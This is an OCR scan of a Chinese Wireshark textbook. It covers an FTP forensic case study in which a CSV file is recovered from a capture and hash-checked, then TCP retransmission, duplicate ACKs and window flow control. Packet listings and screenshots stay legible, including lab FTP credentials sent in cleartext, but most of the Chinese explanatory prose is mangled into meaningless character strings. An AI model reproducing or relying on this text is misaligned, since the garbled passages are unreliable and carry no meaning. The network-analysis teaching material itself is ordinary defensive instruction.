HHEICAFAERE R, 0 BSOS e 2R T . RGUVE B RN, [ROvAE
FP AL A8 2 X 2% (R I B o 2P 58— I SO ARG A% 28] oo 000 2 I
BRT o AT B A2 1

10.6.1
N T YCEE P R R , FRATT AT DAAE e — A P B I Al R
WS R T AT TS, DR R SRR S 2% S B R R, AR S A L
o B ——"E R T T EEAE HVEIR A
PR D9 I 2 S ML SR o VB4R, BT DABIRATT Y S 1 8545 T BE IR i 55 245 14

228 Wireshark ##EE 75 #rsLhk (58 3 ki)
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10.6.2

M. ATAMIKEARE)E LAE CSV RIS IR S S iR & . 45 RARFEALE
tickedoffdeveloper.pcap X1,

BT M2 EREEARME BIREZ AN, ATEEA T R IR N R o
WSO E LR DL —1E FTP Ji s 4R, BRI IRA TR A & i & A A48 CSV
SCHER R MRS i T MiEERE S EEEEREE T . % Statistics >
Flow Graph, #RJ5#.ii “OK”. & 10-33 &~ T 45 R B4

Source Destination Protocol  Length Info

3 0.000242
4 0.002749
5 0.002943
6 0.003396
7 0.003514
8 0.004862

172.16.16.128 172.16.16.121 TCP 60 2555 + 21 [ACK] Seq=1 Ack=1 Win=17520 Len=0
172.16.16.121 172.16.16.128 FTP 96 Response: 220 FileZilla Server version ©.9.34 beta
172.16.16.128 172.16.16.121 [P 970 Request: USER salesxfer

172.16.16.121 172.16.16.128 FTP 91 Response: 331 Password required for salesxfer
172.16.16.128 172.16.16.121 FTP 69 Request: PASS pf@sswerd

172.16.16.121 172.16.16.128 FTP 69 Response: 23@ Logged on

10-33 AEZERAET FTP @43 64 Bk A

HAREME—TEHE (LE10-34), BINSFH—A 17216161280 5
172.16.16.121@ 2 [H] (1) 3 A FTP &4z, BT 172.16.16.128 K& Hz, PHHIRA ISR
ME R, 172.16.16.121 NHEIC S S HHE RS 25 . B KA XL
ME AR T FTP Vhil, fEEFZS )G, AT E 2R A& il FTP 15
SRR A RSS2 100 3 ©

TAVIE X oA — e i fed, PULIRATH FTP M, s ahfE
BARIAIE . FTP BERAHAR AL 2 s P o R, BRI IRATN 2SR T
EAREHE S FTP JIRS5#% 1) FTP STOR fir %o a5 (0 75 V02 AE B — N it JE

AR L BA A FTP 1R 4,  BIHIRAIAS 75 B0 I8 AR %
R IEE MR, EAE Packet List MR H B B4R O IE SR AT T,
Rk, BATE LT EEFE —/NHIA FTP iRy & AR . RATES 78R
5, KRR TIRTE— . S8)5 @I Packet Details [Hi#R ] FTP section
F1 USER section. 457 Request Command: USER 3, Jfi%+% Prepare a Filter.
5Ja, 1EFF Selected.

KA — AL S FTP USER 1R an & s (L 1k y84%, JF e
YRS IEHE . A, WA 10-34 Pon, gaEdigds, K HiA USER £ #k
STOR ©.

BUAEA% ] 7R B X AN I A, R B AR SO AT — 4> STOR 2,

F£10E HupmsctRigs 229
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FEHFE 64 O,

[. | ftp.request.command == "STOR" @ '] Expression... +
No. Time Source Destination Protocol  Length Info
Q 64 4.369659 172.16.16.128 172.16.16.121 FTP 83 Request: STOR store4829-832220818.csv

10-34 IR A B TR A S8 AR B TF 4645 iy

RESRTRATT OV 28 1038 i MW L IF 44540 1, T LA Packet List IR &
J7 1 Clear 24175 Bl nE 8% .

TEEMNBEE 64 UG 0, BATE WX A BB 45 2 £ 5
store4829-03222010.csv X4 @, 1k 10-35 Fizs.

M Wireshark . Packet 64 . tickedoffdeveloper - m} X

» Frame 64: 83 bytes on wire (664 bits), 83 bytes captured (664 bits)
» Ethernet II, Src: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: Vmware_ea:17:be (08:0c:29:ea:17:be)
> Internet Protocol Version 4, Src: 172.16.16.128, Dst: 172.16.16.121
» Transmission Control Protocol, Src Port: 2555 (2555), Dst Port: 21 (21), Seq: 222, Ack: 875, Len: 29
Vv File Transfer Protocol (FTP)
v STOR store4829-832220818.csv\r\n
Request command: STOR
Request arg: store4829-083222010.csv @

No.: &4 - Time: 4.369659 - Source: 172.16.16.128 - Destination: 172.16.16.121 * Protocol: FTP * Length: 83 * Info: Request: STOR store4829-03222010.csv

B 10-35 1% /8 FTP #5%r CSV XA+

STOR fir 4 Ja M B BT 7 AR s 1, (HEA TR B FTP Hdfif
i —# 5. HATCLBIERIRAEER 1, ERNVIRBAIENIRER 52 -
M, AT BRI SR B P SR U SO, BURIR SCIFE I 2% Hh A% i e
FEEA AR

SO DL I s G RS, e S R N B FREE
WEF AL EXAN s, IRATELER QR H (I B AR b 20 3% 2 i) 4
KU BHRFATILT , AT TFEW SO Rk BT N
U, 8 FTP BT — N E (LLnEdEE 66), FHHdi Follow TCP
Stream. £ EI/RTE TCP i, Wik 10-36 Fios.

Wi £ FTP th AWISCfEn, PrbAEATREE 2IE, (BAAREO ki E
AR RN . T BAKYE, DR ERDOV G, BATHRD Save As
DR ERIE R 64 Bor iS4, Wk 10-37 fior. SRJA i Save.

TRAFEAE S5 R BIZAZ — A CSV UM, XX R MG AR Ge A R SR
TR RS BATE T BRI S A ARO[ MDS I 7y R U6 IE %3¢

230 Wireshark ##E8 75 #rsLhk (58 3 ki)
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. MDS5 WA E RN Z A — R, &l 10-37 s

M Wireshark - Follow TCP Stream (tcp.stream eq 1)..  — O X

StorelD,SKF,QTY ~
4829, BBBI6E,5
4829,893932,7
4829,638384,2
4829,268513,4
4829,69784@,2
4829,706398,1
4829,438522,9
4829305646, 6
4829,626872,6
4829,462192,2
4829,235998,1
4829,354872,7
4829,314705,1
4829,137917,6
4829,752478,9 v

15 client phis) 0 server pks) & s,
|Enh're conversation (19 kB) hd | Show data as | ASCII ~ | Stream

Find: | | [ Findnext |

|Hide this sheam| | Print | | Save as... | | Close | | Help |

[E 10-36  TCP L2 744 i 4 S8 A5 3B AR A A R 46 LM 2

7 store4829-03222010.csv Properties b4

General File Hashes  Securty Details  Previous Versions

Name Hash Value
CRC32 FD38F576
ECDAADT7OSACED? JCE44200D5759
SHAA 65765035E20F 374346 1C4AGFDEASACITI06ESEET
Settings
Hash Comparison:

| ECDAAD709ACED7EOC6ERCE44200D5799 |

S wos

HashTab +5.2.0:: ©2010 Implbits Software [hitp: /fimplbitz. com]

Cox ][ conce | [

10-37 R4 XM AR A4 MD5 va A {848 5
I PR SCE,  FRATTAT DAIE B I 28 FEAS A2 B R RS e 8 2 R AR I R IR . S

F£10E HupmscitRigs 231
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MRS B AR 55 e i A2 SE 2010, T DL 8 R N TRE e AR BE SCAR IR 8 T

10.6.3

Bl 2 AT i) — AN A AR AL A B FL RN R 7 FERE I RE
Frimtbif iE P g2, EAEERRRE, ENENE 1. EXDRGIT, &
Fp AR 0o A2 I RS PP FIT AR ) I A AN B AL, (R 2%, A ISR B AP AT 4 KA
5 R AR S AN gk & FTP. TCP Al IP T o SRS A HRATT T AR IR S A il
KR, WA GEE LR SR, EERE IRBOHER M IR . et
A KB R: LT RNREZ AZ 5%, #HAZ - S8EEmc.

10.7 5%

FEARE, JATIHE TN AR, Bn ot (30Tt 2R 1815
Bl o S AR DL PRI, FRATT T DA I O A R R 4 [ ARAE B SR 4%
PR RSB PIPRX B MR R 5, HARRET R EOR N IZ eSS 1R —
SEf a8 R K.

232 Wireshark ##E8 75 #rsLhk (58 3 hiR)
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NS
AR

TEN— R EH R, RBIEFIRZ R TR
TR RIS . HRAFBMEZEE, AR
IR A0 A2 I 45 1) 1 e

FETT U5 A0 2 0 2 A% 1) 1) 2 T, R S A o I 4%
R RS . RO EAS 5 v 22 B IR L 5T

B, AT THE TCP MR E AN R HI L] .
XA, BATARZANAT LI X 2% 218 HIARIR . fefim s FRAT 218 18 I BE 2K
2R DL R s BB AT IR SRS T AR, IREIRA . SRRk
TR ML T5 T, N H AR KL .

R BARET AR RN LR HE, KEARTIEETAE TCP, BH
EKZHuAGREZGHNE. TCP ASGIITRI D AT, ™I & &,
FIr g R=E (thde ICMP).

B4t X Kensuke(18319066421) B2 jEEELRIN



11.1 TCP WAk

TCP IR B R MR BRATEN 2B IR 2 B W 2% m i B e i TR
FETHEENL LS, “ IR 4 B & SO [/ Z I B 24

SR AT A By AR AEIR CAUERASSRIE S — A H ) BUAEIRIER (A
RIFENE H AR FIORIED o B BEE R, IF H AW M — i mi 2 5
— i s ITAE I (AR DI, B UGB AR AR IR . S, B BRI H
o e AR S 2 A P ORI R, BB 2 R . S R T AL A O
B (URTAE) MIMAE B BTk T a8

FE5 6 Trp, FATHE 7 TCP Wil {3 A -5 ANl 5 R ORAIE R 5 H A% 3 %
A fEARR, RATEERET SN, WY m i i 5 50X L5556
FRARIE (BURABRATRIE]D B, TCP AR i R o

11.1.1 TCP

FARKAR AR TCP BAEA R RIK R —, Bt FERXH A i &
ERo

BARAERTRARZIRF, A5 HHEN AT . fEASRUTER
PR A B I PR B R S5 . R B )E Ik B R S B AR E R, T HLE
£, 7% 558 2 BN ), PR TCP e A far I 30 2548 10 25 2k I N Ik A5 22K
B,

YUIE & 5 W0 B AR H A0 1) 32 AL A AL v 88 o XA TR S A 3T
HEP— AN FEAL R (Retransmission timeout, RTO) HIMH . &241# ] TCP 1&4i
— AN EARAN, B ShEAL TN . U BIIX AN IR A ACK I, THI AR
ik MRIEEHR B2 ACK B A Z 18] (R ISR R PR AT 3R I ] (Round-trip
time, RTT). R TANXFERI [ESF TR, ATE H R ZH) RTO H.

TER A0 RTO /T, AEHEAE R0 — B T BOABCE M RTT 8.
I E T EVLERIARIEAE, IR TR 8EE B RTT #47H%E, DUE
JRFIEH] RTO.

— H RTO /i€ Tk, BEALE S H T MR EdEa, Dfe s
FaRR LK. B 11-1 AR T TCP #Ef1dFE.

234 Wireshark ##E8 75 #rsLhk (58 3 hiR)
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| iR

| Hf% 1 [RTO)

- | &2 R1Ox2)

| £ 3 (RTO x 4)

/AR
RHIEM |

E15 4 RTOx8) B EM

| %5 (RTOx 16)

EAVAVAVAVAVAVA
Il

| SRR = SR

11-1 TCP EA4EAR 9 AALE

MHHR BPOROE X, BRSO KiE TCP ACK Bl i, (&5 EALEL
B RMEIE O ERT, HEMAE., FfLZ )G, RTO ERIfRE. WRIEEIEN
MEZHT—EERA R ACK B t, WPRARA S —IRERL. WRT —k#EfE
ERBAHWE] ACK, A4 RTO (ER#If . RFCESRE, RTO EAKEIM, XA
PR FFEEFCE]— A ACK Hdlatd, Bl 0% 5k BIRC B o KA RO IE.

BN EALBUR TR 5 E RS LRI E . BOATEDL T, Windows F:AL
% AL 5, K& Linux EPUWBGAEASL 15 K XAERIE N RIE RS
Hh AT T S LY o

BLE TCP HALMH T, 1EFTIF tep retransmissions.pcap X, BT T 6
MR, MR A 11-2 fos.

iXfE— TCP PSH/ACK ¥ 00, 7 648 FHHEIE®, M 10.3.30.1
Ki%F) 10.3.71.70 . X2 — N FEHE .

FEIEE KM, IRESRERESE AN BIEE G, R aeE 2w R
TCP ACK #fli L. SRIM, fEIXAMEFr, T — M Eda e — AL, Wi/ Packet
List MR AEHEX NI, Reiaed X A48, Info ZIWHHERY] T [TCP
Retransmission], FFHIX MR QU)K FHI. B 11-3 EI78 T Packet List
TR 51 HE P AR 4811

BENME ILNELHF R 235
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M Wireshark . Packet 1 - tcp_retransmissions - [m] X

Frame 1: 786 bytes on wire (5648 bits), 706 bytes captured (5648 bits)

> Internet Protocol Version 4, Src: 10.3.30.1, Dst: 10.3.71.7
¥ Transmission Control Protocol, Src Port: 1848 (1048), Dst Port: 1043 (1043), Seq: 1, Ack: 1, Len: 648
Source Port: 1048
Destination Port: 1043
[Stream index: @]
[TCP Segment Len: 648]

Sequence number: 1 (relative sequence number)
[Next sequence number: 649 (relative sequence number)]
Acknowledgment number: 1 (relative ack number)

Header Length: 2@ bytes
Flags: @x@18 (PSH, ACK) @
Window size value: 8760
[Calculated window size: 876@]
[Window size scaling factor: -1 (unknown)]
Checksum: @x9b5f [validation disabled]
Urgent pointer: @
[SEQ/ACK analysis]
v Data (648 bytes) @
Data: 7@3ece4b27bl1db9282dea4181ded86T@735041b579cd2edd. ..
[Length: 648]

No.: 1 - Time: 0.000000 - Source: 10.3.30.1 - Destination: 10.3.71.7 * Protocol: TCP.43 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE IN

B 11-2 44356 8% TCP 445 &

No. Time Source Destination Protocol Length Info
10.000000 10.3.30.1 10.3.71.7 706 1048 » 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
2 0.206000 10.3.30.1 10.3.71.7 706 [TCP Retransmission] 1048 » 1843 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
3 0.600000 10.3.30.1 10.3.71.7 706 [TCP Retransmission] 1048 » 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]

4 1.200000 10.3.30.1 10.3.71.7 706 [TCP Retransmission] 1048 » 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
5 2.400000 10.3.30.1 10.3.71.7 706 [TCP Retransmission] 148 -+ 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
6 4.805000 10.3.30.1 10.3.71.7 706 [TCP Retransmission] 1048 » 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]

11-3  Packet List @& F 49 T4%

Wk 11-4 Fros, ARBAT LLE IS A E Packet Details 11 Packet Bytes [HI i fffi i
BRGEHEARIEA.

VEE, &7 IP identification F1 Checksum 8.2 4, XA 0] e
54— N TRIFX AN, A7E Packet Bytes [HIHK 41 EL X A B4% B 0
BV B0 .

1t Packet Details [HIFRH, =B EAAEHPE LA SEQ/ACK Analysis F3l FH—
LEAMEAE 5@ . XN F RIS B2 1 Wireshark 241K, Szbr EIFAVE S AEE R
£ 5 . SEQ/ACK analysis F5iFFRATIX 552 — M EL O, RTO {H 0.206s @25
T 5H 1O i R 28 5 R .

BER T R ENAZ RS IR, E—RARLET IP identification.
Checksum 3 UL J& RTO . A 1 o B AN A 2 18] (I IA] (] R, an& 11-5
~, A LAEFE Packet List [HIHRH) Time . EiXHE, REFE—IXEEL/F RTO
EHIAS, IR 2R EIE K.
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M Wireshark - Packet 2 - tp_retransmissions - [m] X

> Frame 2: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits)
> —

> Internet Protocol Version 4, Src: 10.3.30.1, Dst: 10.3.71.7
Vv Transmission Control Protocol, Src Port: 1048 (1048), Dst Port: 1043 (1@43), Seq: 1, Ack: 1, Len: 648
Source Port: 1048
Destination Port: 1043
[Stream index: @]
[TCP Segment Len: 648]
Sequence number: 1 (relative sequence number)
[Next sequence number: 649 (relative sequence number)]
Acknowledgment number: 1 (relative ack number)
Header Length: 20 bytes
Flags: @x818 (PSH, ACK)
Window size value: 8760
[Calculated window size: 876@]
[Window size scaling factor: -1 (unknown)]
> Checksum: @x9b5f [validation disabled]

Urgent pointer: @
v [SEQ/ACK analysis] @

[Bytes in flight: 648]
Vv [TCP Analysis Flags]
> [Expert Info (Note/Sequence): This frame is a (suspected) retransmission] @
[The RTO for this segment was: ©.206000000 seconds] @
[RTO based on delta from frame: 1] €)
Retransmitted TCP segment data (648 bytes)

v

No.: 2 - Time: 0.206000 * Source: 10.3.30.1 - Destination: 10.3.71.7 * Protocol: TC..3 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE IN

Close Help

11-4 —ANEfE4E

Mo. Time
1 &.eeeaa8
2 8.286c0608
3 8.6eeaae
4 1.2e6880
5 2.480068
6 4.585068

11-5 Time 7| 2~ 7 RTO {4 #)3g %k

Pt ¥ 4% {8 /] TCP 1Ry 3 A% i P SR AG I 50 B0 2% 2R 0F U IR R . T — 28,
AV EF TCP WERHINRE, Eayor A TR 8o 4 % 28 F Mo

11.1.2 TCP

MRS EL B s L, st k6 B E 1) TCP ACK i 6. TCP 78 3k

AL 5 AN T3, AR DR St e T SR BRSO UORIR I 2

“TCP #3E&” ¢ EARBLENIZA “TCP RE”, 2K % HAME Tie

CAARA “FIFEQ”.

F1ME LMK AFHFFR 237
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AL —ANHTH TCP R, #4575 (Initial sequence number, ISN) 242
FABP LA REEFEEL —. —HREFEEMmD ISN, £ T REHT
T — AN 0 R 4 HE B s IR O NS KT 5o

HAMT, — & FHLI ISN A& 5000, B AL 500 745 (KI5 6 45 B2k
77 — BRI, BT e R DL R e B — AN B A S 5500
) TCP ACK %4 .-

U (1 Fr -5+ B B 7 1 B= R R S
FERXANEH A, 3R (8 B AR TT NS SEBR L i B A T R
AR5, K 11-6 1] UG 2| — DI HH]

SEQ #: 5000 ##EK/)N:500

|
< ACK #: 5500

SEQ#: 5500 ##EAK\:500

< ACK #: 6000

SEQ #: 6000 H#EAN:500

< ACK #: 6500

11-6 TCP 5 5 A= #hik %

O

EHEM

EiEM

EAVARAVAR VA

Fr 915 A B BT R B B 25 R O T RE . 4B WACT I8 BR IEAEFRURLI
PP, WBRAGIFRFS, EMAESREEAT .

BT AR AN P S, el — RS Th E
KT o NTIEREAREE, BB LAER R EREER, HbeEkiE
—MEERBIECHF T ACK B, DUBAIRIE T B E R .

R AR 3 Ak BT IER ACK I, e B BIX S Hods A sk
FEAERITER T, LRS- MR ERL . — Bk PR E AL, HAh P Ik
FEER IR WA R EEL, HREPRE AR RR AR ok, B 11-7 fiid
TR
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SEQ #: 5000 ##EK/)h: 500

ACK #: 5500

|
SEQ #: 6000 %A ) 500 >
|
|
|
|

EE ACK(1)#: 5500

Il

B8 ACK(2)#: 5500

EHEM

B EM

EE ACK(3)#: 5500

RIRE L SEQ #: 5500 HigA)v: 500

ACK #: 6000

ANEVAVAVANIEVANE

1-7 kABKF T ACK FE ik E4%

YRIGAE tep_dupack.peap XAFH KIME SR ACK FIRIEFEALIIH] T ki
KPR, E 11-8 AR,

M Wireshark - Packet 1 - tcp_dupack - [m} X

> Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits)
> Ethernet II, Src: HewlettP_a4:cl:c6 (@@:16:35:a4:cl:c6), Dst: Al1-HSRP-routers_@1 (80:00:0c:07:ac:01)
» Internet Protocol Version 4, Src: 172.31.136.85, Dst: 195.81.202.68 ‘)
¥ Transmission Control Protocol, Src Port: 38760 (3876@), Dst Port: 80 (8@), Seq: 704338729, Ack: 1310973186, Len: @
Source Port: 38760
Destination Port: 8@
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 784338729
Acknowledgment number: 1310973186 @
Header Length: 44 bytes
> Flags: ox@1@ (ACK)
Window size value: 382
[Calculated window size: 382]
[Window size scaling factor: -1 (unknown)]
> Checksum: @xdlbe [validation disabled]
Urgent pointer: @
» Options: (24 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps, No-Operation (NOP), No-Operation (NOP), SACK

No.: 1 - Time: 0.000000 - Source: 172.31.136.85 - Destination: 195.61.202.68 - Protocol: TCP - L. 04338729 Ack=1310973186 Win=382 Len=0 TSval=22247173 TSecr=1332354 S1E=1310978658 SRE=1310984

11-8 ACK 277 F—AHFe 55

TE M 25 Hh XA TCP ACK Hdli B W\ BHE 0T (172.31.136.85) ZfE K% T

BFME ILNELHF R 239
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(195.81.202.68) @, L& T —/NXHE TSI 2 B IEE AL AR .

AE ZRIANFILT, Wireshark 42 ABAT 5 5 & ) ALt X s 5 F a9 o047, {2 BT
KU P, FREGF AR E AR AN E, AR 40T kT XA IR
%, 4% Edit->Preferences, 7& Preferences & 2 F i£4% Protocols, A/Zi%4% TCP
R ¥, #/EIH Relative sequence numbers #= window scaling 5 # #) 5 i 4E .,
WK 11-9 Frs, AR LS A2 1310973186@, X% #EUR T
—MEEERT S .
‘ Wireshark - Packet 2 - tcp_dupack - ] X

v

v

» Frame 2: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits)
» Ethernet II, Src: CiscoInc_72:15:80 (80:8b:be:72:15:80), Dst: HewlettP_ad:cl:c6 (@9:16:35:a4:cl:c6)
» Internet Protocol Version 4, Src: 195.81.202.68, Dst: 172.31.136.85
V¥ Transmission Control Protocol, Src Port: 8@ (8@), Dst Port: 3876@ (38768), Seq: 1310984130, Ack: 704338729, Len: 1368
Source Port: 8@
Destination Port: 38768
[Stream index: @]
[TCP Segment Len: 1368]
Sequence number: 131093413@ (1)
[Next sequence number: 1318985498]
Acknowledgment number: 7084338729
Header Length: 32 bytes
Flags: @xele (ACK)
Window size value: 1@8
[Calculated window size: 1@8]
[Window size scaling factor: -1 (unknown)]
Checksum: @xbdf7 [validation disabled]
Urgent pointer: @
> Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
> [SEQ/ACK analysis]

No.: 2 - Time: 0.000150 - Source: 195.81.202.68 * Destinstion: 172.31.136.85 « Protocol: TCP « Len... Info: 80 — 38760 [ACK] Seq=1310984130 Ack=704338729 Win=108 Len=1368 T5val=133235¢ TSecr=22;

B 11-9 ph4kdE .69 5 5 5t 7R

IR, T — MBI F SR 1310984130 @, FF3ERIRATHTHAA K. X
FHIARF B B AP R b E T . i 11-10 s, $3RIRENLE
AN T SR, AR CRNE =N RIE N EERN
ACK.,

HIS AR PLME B A, R D e X2 — N EE R ACK HdEE.

e Packet Details [+ ) Info ¥, X MNEHE G UL BIRA T2
e SEQ/ACK Analysis heading N {] Packet Details M. #7@JF bR, fR<s
RIX A BN EPEE 1 FEE ACK.
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M Wireshark - Packet 3 - tcp_dupack - O X

Frame 3: 78 bytes on wire (624 bits), 78 bytes captured (624 bits)
Ethernet II, Src: HewlettP_a4:cl:c6 (@@:16:35:a4:cl:c6), Dst: ALl-HSRP-routers_01 (@0:00:0c:87:ac:01)
Internet Protocol Version 4, Src: 172.31.136.85, Dst: 195.81.202.68
Vv Transmission Control Protocol, Src Port: 3876@ (3876@), Dst Port: 8@ (8@), Seq: 784338729, Ack: 1310973186, Len: @

Source Port: 38760

Destination Port: 8@

[Stream index: @]

[TCP Segment Len: @]

Sequence number: 784338729

Acknowledgment number: 1310973186

Header Length: 44 bytes

Flags: @x@1@ (ACK)

Window size value: 382

[Calculated window size: 382]

[Window size scaling factor: -1 (unknown)]

Checksum: @xcc66 [validation disabled]

Urgent pointer: @

Options: (24 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps, No-Operation (NOP), No-Operation (NOP), SACK
v [SEQ/ACK analysis]

[TCP Analysis Flags]
[Duplicate ACK #: 1]
v [Duplicate to the ACK in frame: 1] @
[Expert Info (Note/Sequence): Duplicate ACK (#1)]

No.: 3 - Time: 0.000011 - Source: 172.31.136.85 - Destination: 195.81.202.68 - Protocol: TCP - Le. 704338729 Ack=1310973186 Win=382 len=0 T5val=22247173 T5ecr=1332354 S1E=1310978658 SRE=13109

11-10 % —AFH ACK #¥E &

B 11-11 fos, 35 TR LA Bl A 4k 2RI N i 2.

No.  Time Source Destination Protocol  Length Info
1 0.000000 172.31.136.85 195.81.202.68 TCP 78 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSval=22247173 TSecr=1332354 ..
( 2 ©.000190 195.81.202.68 172.31.136.85 TCP 1434 80 » 38760 [ACK] Seq=1310984130 Ack=704338729 Win=108 Len=1368 TSval=1332354 TSecr=222471..

78 [TCP Dup ACK 1#1] 38760 » 8@ [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSval=22247..
195.81.2082.68 172.31.136.85 1434 80 » 38768 [ACK] Seq=1310985498 Ack=704338729 Win=108 Len=1368 TSval=1332354 TSecr=222471.
172.31.136.85 .81. .68 78 [TCP Dup ACK 1#2] 38760 > 80 [ACK] Seq=7@4338729 Ack=1310973186 Win=382 Len=0 TSval=22247..

195.81.202.68 172.31.136.85 1434 80 » 38760 [ACK] Seq=1310986866 Ack=704338729 Win=108 Len=1368 TSval=1332354 TSecr=22247L.
172.31.136.85 195.81.202.68 78 [TCP Dup ACK 1#3] 38760 + 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSval=22247..

B 11-11 d TEr8dEan®n, AT HseE 4 ACK

PR 5 4 D HE B0 A0S BBV R 75 KA 51— M EdE X O .
Pk, FWCENAEESE A EE ACK® . Y07 SRS — MU S R 75 I3
O, XTHeEmE =4 LERE—1EE ACKO.

FOETTICER HEWOT RS =AEE ACK Z )5, s LA s e
fet, FEBRIERROEREG. B 11-12 Bn T ERERAAPUEEE,

£ Packet List AR K] Info #1 i BRI 1 AR B A0 . IE G i i fg 4615
R B AE R AR 0 N BIR AT XA EAE A SEQ/ACK 73 #r il 5 2 VR kA 11X
B —XIEEAO (B, e npos 5 bsi0E R EEdR
AL WIE, 1MAE Wireshark FIDIREE) . IR IC T A e Ja — MR A& F AU 2 B
HEAE ACK HHEA,
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ireshark . Packet 8 - tcp_dupac -
Wireshark - Packet 8 dupack [m] X

> Frame 8: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits)
> Ethernet II, Src: CiscoInc_72:15:00 (@@:0b:be:72:15:00), Dst: HewlettP_ad4:cl:c6 (@@:16:35:ad:cl:c6)
> Internet Protocol Version 4, Src: 195.81.202.68, Dst: 172.31.136.85
v Transmission Control Protocel, Src Port: 80 (8@), Dst Port: 387608 (3876@), Seq: 1310973186, Ack: 704338729, Len: 1368
Source Port: 80
Destination Port: 38760
[Stream index: @]
[TCP Segment Len: 1368]
Sequence number: 1310973186
[Next sequence number: 1310974554]
Acknowledgment number: 704338729
Header Length: 32 bytes
Flags: @x@1@ (ACK)
Window size value: 108
[Calculated window size: 1@8]
[Window size scaling factor: -1 (unknown)]
Checksum: @x9364 [validation disabled]
Urgent pointer: @
> Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
v [SEQ/ACK analysis]
[Bytes in flight: 15848]
v [TCP Analysis Flags]
> [Expert Info (Note/Sequence): This frame is a (suspected) fast retransmission] @
> [Expert Info (Note/Sequence): This frame is a (suspected) retransmission]

.

“

No.: 8 - Time: 0.000092 * Source: 195.81.202.68 * Destination: 172.31.136.85 * Protocol: TCP * Le._sion] 80 — 38760 [ACK] Seq=1310973186 Ack=704338729 Win=108 Llen=1368 TSval=1332354 TSeer=222

o [ e

B 11-12 £5 ACK 51 AT Z AL @ty thik T4

AE BEABELELN, TH A TCP A5 5B R0 T fh 2L FHHIA
(Selective Acknowledgement). 7 L& &)k RKE, BIENF L EZKRIE
FitA PRI R T BN ACK. Rk, —E348 05X 5B T4 ACK, 7
1E A E KRB OZ G RRAENT IO, R FE T LR NIIE .
TR TR RN ACK, AR EH L& K3 A — AN IR 6.
HwHM ACK AFHIEE R GIRE TGk, & T K34 IR TCP/IP HriXAk 4
FIAR X IF TN ACK, B AR L INXA ) fei8 7 A48 A .

11.2 TCP il

HALMER ACK #/E TCP [ MNAPERITIRE, Bt R MBI B = Kk
o QiR TCP By (8 KL A Al T 00 £idis e =% R I RTBEPE DO g, B4 e
R —MREEERI I, EE I EME T,

TCP SCHL 7 sl DAL, AR k4 7 BdR 2k, IR
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FRAR IR AN LA S BN T LA F b 4 A7 AR AL B 1 R it At
Pl DRI IRNOT R ERIME, AAEE TCP kil (UF 1A, &
T YFAIE B H CAy BAE TCP 2222 6] A 22 DBl o X2 b 8] 2 Hicdis
AER] DA )b A 33 38 55 AR AL BRESCHE B B = P BCZ T I I A2 A s 1) (R, K
BT IR A BRI RN e MR . Oy AR 2 8, IO
URIERIN, USRI AT S el s 1. B n U2 43 5 i TCP Z2nf
S, DOEEZEMX . B 11-13 8 T BICE FUR e AR,

lll,

S | mmge=iE || &@okd |
BRI BB 553
| 2500F > [ 2500%% | [ 50007+ ]
| 2000F % > [ 500%% | [ 5000%% ]
< ACK | [ 5000%% | [ 5000F% ]
| 3000F % > [ 2000%% | [ 5000F% ]
| 1000F % > [ 1000%% | [ 5000F% ]
< ACK | [ 5000%% ][ 5000F# |

11.2.1

11-13 B F 2 BN RARFIE EX

FER 11-13 H, B i LA [FRMACET 1R /INA 5000 7749 RO AR 35 4 A £ i -
P RIE T 2500 T, R IR S5 E AT G s [l b 2 2500 T, ARJE
HI& 2000 T, HEMTRE AT IS X80 21 500 595 o SR A i 55 41 X L s
RN, BB XKW, SRR EEM X XNEREANESE, %
JUi ORI T 3000 AN AR 1000 5, R RS54 T IS0 X b 21 1000
T B IR IR LR, IR ESE A X N

TAREE /NS ARAR S B, (R RHMEE AR AR .. &SR
Pais, TCP MemtA o A& —AAE MR, EE T AN AT e A 2 TR
AR 22 o X PR B0 o
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B BRI IR S S HR B 2 AE i SR B, RS ST RE S R
G E 2 X, T A A (R RO Bt . PR BCH RIS, X
Hn b ZRMEHE IR . 24, RS E K EA, DABUARELLE & AR 1
DU (BHIEA €1 PENECINVNTE 511G AR D D NANNINES bR NIV $v:pp A Ll
ACK i B TCP Sk e HOR/MEBFIX AN H . & 11-14 o 7 IRFERIH1

Il

/R [ mmgs=iE || @oxs |
B

| 20005 %

| 20005 % > [ 1000%% | [ s000%% |

[ 3000F% |[ s000%% |

< ACK - B #: 1000F T | [ ToooFH |[ 1000F% ]
| 800FT > [ 200%% | [ 1000x% ]
| 150F %5 > | 50F % |[ ToooF® ]
< ACK | [ 1000%% | [ 1000w ]

1-14 RE BT, TOEEEFa X

R 11-14 IR 28— TFEA A BRI & /N 5000 775 & i Rk T
2000 779, FESE BRI 2000 75, R 1000 FA A H M A E . kS
SEOREIE P X AR B 2 T . e AT W R A R A s, AR
WEMRR S ER A TRIEZA R, RSP b AE— AN, a5
R LR/NA 1000 775 BRI, 287 s ROR R/ A, k45 o nl DA%
